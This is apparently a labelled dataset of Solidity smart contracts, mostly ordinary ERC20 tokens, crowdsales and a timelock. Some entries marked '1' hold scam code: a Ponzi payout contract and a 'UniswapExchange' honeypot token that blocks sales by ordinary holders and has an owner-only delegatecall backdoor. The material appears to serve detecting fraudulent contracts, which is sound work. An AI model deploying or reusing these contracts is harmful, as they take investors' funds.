function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract LotteryGames is StandardToken {
function () {
throw;
}
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
function LotteryGames(
) {
balances[msg.sender] = 90000000000000000;
totalSupply = 90000000000000000;
name = "Lottery Games Token";
decimals = 8;
symbol = "LGT";
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 3,221 |
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract TokenVault is Ownable {
uint public investorCount;
uint public tokensToBeAllocated;
uint public totalClaimed;
uint public tokensAllocatedTotal;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public lockedAt;
StandardToken public token;
enum State{Unknown, Loading, Holding, Distributing}
event Allocated(address investor, uint value);
event Distributed(address investors, uint count);
event Locked();
function TokenVault(address _owner, uint _freezeEndsAt, StandardToken _token, uint _tokensToBeAllocated) {
owner = _owner;
if(owner == 0) {
throw;
}
token = _token;
if(!token.isToken()) {
throw;
}
if(_freezeEndsAt == 0) {
throw;
}
if(_tokensToBeAllocated == 0) {
throw;
}
freezeEndsAt = _freezeEndsAt;
tokensToBeAllocated = _tokensToBeAllocated;
}
function setInvestor(address investor, uint amount) public onlyOwner {
if(lockedAt > 0) {
throw;
}
if(amount == 0) throw;
if(balances[investor] > 0) {
throw;
}
balances[investor] = amount;
investorCount++;
tokensAllocatedTotal += amount;
Allocated(investor, amount);
}
function lock() onlyOwner {
if(lockedAt > 0) {
throw;
}
if(tokensAllocatedTotal != tokensToBeAllocated) {
throw;
}
if(token.balanceOf(address(this)) != tokensAllocatedTotal) {
throw;
}
lockedAt = now;
Locked();
}
function recoverFailedLock() onlyOwner {
if(lockedAt > 0) {
throw;
}
token.transfer(owner, token.balanceOf(address(this)));
}
function getBalance() public constant returns (uint howManyTokensCurrentlyInVault) {
return token.balanceOf(address(this));
}
function claim() {
address investor = msg.sender;
if(lockedAt == 0) {
throw;
}
if(now < freezeEndsAt) {
throw;
}
if(balances[investor] == 0) {
throw;
}
if(claimed[investor] > 0) {
throw;
}
uint amount = balances[investor];
claimed[investor] = amount;
totalClaimed += amount;
token.transfer(investor, amount);
Distributed(investor, amount);
}
function getState() public constant returns(State) {
if(lockedAt == 0) {
return State.Loading;
} else if(now > freezeEndsAt) {
return State.Distributing;
} else {
return State.Holding;
}
}
} | 1 | 3,611 |
contract ResetPonzi {
struct Person {
address addr;
}
struct NiceGuy {
address addr2;
}
Person[] public persons;
NiceGuy[] public niceGuys;
uint public payoutIdx = 0;
uint public currentNiceGuyIdx = 0;
uint public investor = 0;
address public currentNiceGuy;
function ResetPonzi() {
currentNiceGuy = msg.sender;
}
function() {
enter();
}
function enter() {
if (msg.value != 9 ether) {
throw;
}
if (investor > 8) {
uint ngidx = niceGuys.length;
niceGuys.length += 1;
niceGuys[ngidx].addr2 = msg.sender;
if (investor == 10) {
currentNiceGuy = niceGuys[currentNiceGuyIdx].addr2;
currentNiceGuyIdx += 1;
}
}
if (investor < 9) {
uint idx = persons.length;
persons.length += 1;
persons[idx].addr = msg.sender;
}
investor += 1;
if (investor == 11) {
investor = 0;
}
if (idx != 0) {
currentNiceGuy.send(1 ether);
}
while (this.balance > 10 ether) {
persons[payoutIdx].addr.send(10 ether);
payoutIdx += 1;
}
}
} | 1 | 3,879 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,856 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint256 public releaseTime;
constructor(
ERC20Basic _token,
address _beneficiary,
uint256 _releaseTime
)
public
{
require(_releaseTime > block.timestamp);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(block.timestamp >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
} | 0 | 1,752 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool requireCustomerId, bool requiredSignedAddress, address signerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint endsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length != size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
function addApproval(address _spender, uint _addedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
allowed[msg.sender][_spender] = safeAdd(oldValue, _addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function subApproval(address _spender, uint _subtractedValue)
onlyPayloadSize(2 * 32)
returns (bool success) {
uint oldVal = allowed[msg.sender][_spender];
if (_subtractedValue > oldVal) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = safeSub(oldVal, _subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 1,745 |
pragma solidity ^0.4.18;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract BGXToken {
string public name = "BIT GAME EXCHANGE";
string public symbol = "BGX";
address ethFundAddress = 0x7C235ac7b006d829990384018B0E98fDf0bA5EF7;
address icoAddress = 0xC817a2afe8F6ba1a697dAaA1df834e18Be9403e7;
address[] foundationAddresses = [0xBc9d9A1EE11dC2803BA2daaAa892483052Ed97f5,
0x3CA55e25C110b175B6622586aC31a6682a916670,
0xF13b2d7c5d6d6E93f79D41FA72cFD33A75c0607d,
0xc321Cf1D0ab11743cB5dDB4d77F6Ede8a08D3281,
0xf7179c8A47F511E4fcAcA9b6187ED4052cBBB7BB,
0x516c06F2A390E62c2F6cB3C2E38c5c6dF5A17141,
0xE71a86f7FFa3E3aA92e5cA6b6df8B56d8600c7D9];
address[] teamAddresses = [0x3CFdEC9041b04a7eEb07a732B964a5B33f9Ebe1F];
address[] miningAddresses = [0x710967a31D79BCFBF053292aB21Bbc559e288407,
0x7bF52Ef4b6e8bEeB24c4Dea4c8e94177739561a0];
address[] angelAddresses = [0x122399734D64d6c4aa46b85959A3304CA812161f];
address[] cornerstoneAddresses = [0x9d35F83982A479F611fa893452f6876972Ec6348,
0x1EAf530897EB1D93fF4373889d9cfd5a1E405D1B,
0x377221D5b7776C1Ba4B8e8d11a32CF9a7469A095,
0xc4381bc9dDFaa8A9954CF2615F80F8Fc145E024F,
0x699a3be17F729F3eB965fBb7d71Db185016B1215,
0x9F793B134E41Bb404142B598E05Ea6ed5477D392,
0xA7FF388DAfD240505f9a1d3ca37c15E058B9D4ea];
address[] preIcoAddresses = [0x4d1Ffd49d47552adcaf1729b9C4A2320419b81E1];
